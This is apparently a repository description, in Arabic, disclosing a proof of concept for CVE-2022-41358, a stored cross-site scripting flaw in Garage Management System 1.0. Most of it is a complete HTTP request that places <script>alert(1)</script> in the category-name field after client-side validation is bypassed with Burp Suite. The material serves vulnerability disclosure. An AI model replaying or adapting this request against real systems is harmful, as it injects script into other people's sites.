thecasual/cve-2022-41358استغلال إثبات المفهوم لـ CVE-2022-41358 يوضح XSS مخزنة في نظام إدارة المرآب 1.0 عبر العبث بطلبات Burp Suite لتجاوز التحقق من جانب العميل.
يستخدم نظام إدارة المرآب (Garage Management System) التحقق من صحة الإدخال على جانب العميل لمنع هجمات XSS. باستخدام Burp، يمكن تعديل طلب وإعادة إرساله إلى الخادم متجاوزًا هذا التحقق، مما يفتح مجالًا لتنفيذ هجمات XSS.
Parameter: categoriesName
URI: /garage/php_action/createCategories.php
Host: 10.24.0.69
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.24.0.69
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.24.0.69/garage/add-category.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
Connection: close
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesName"
<script>alert(1)</script>
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesStatus"
1
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryqKDsN4gmatTEEkhS--
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41358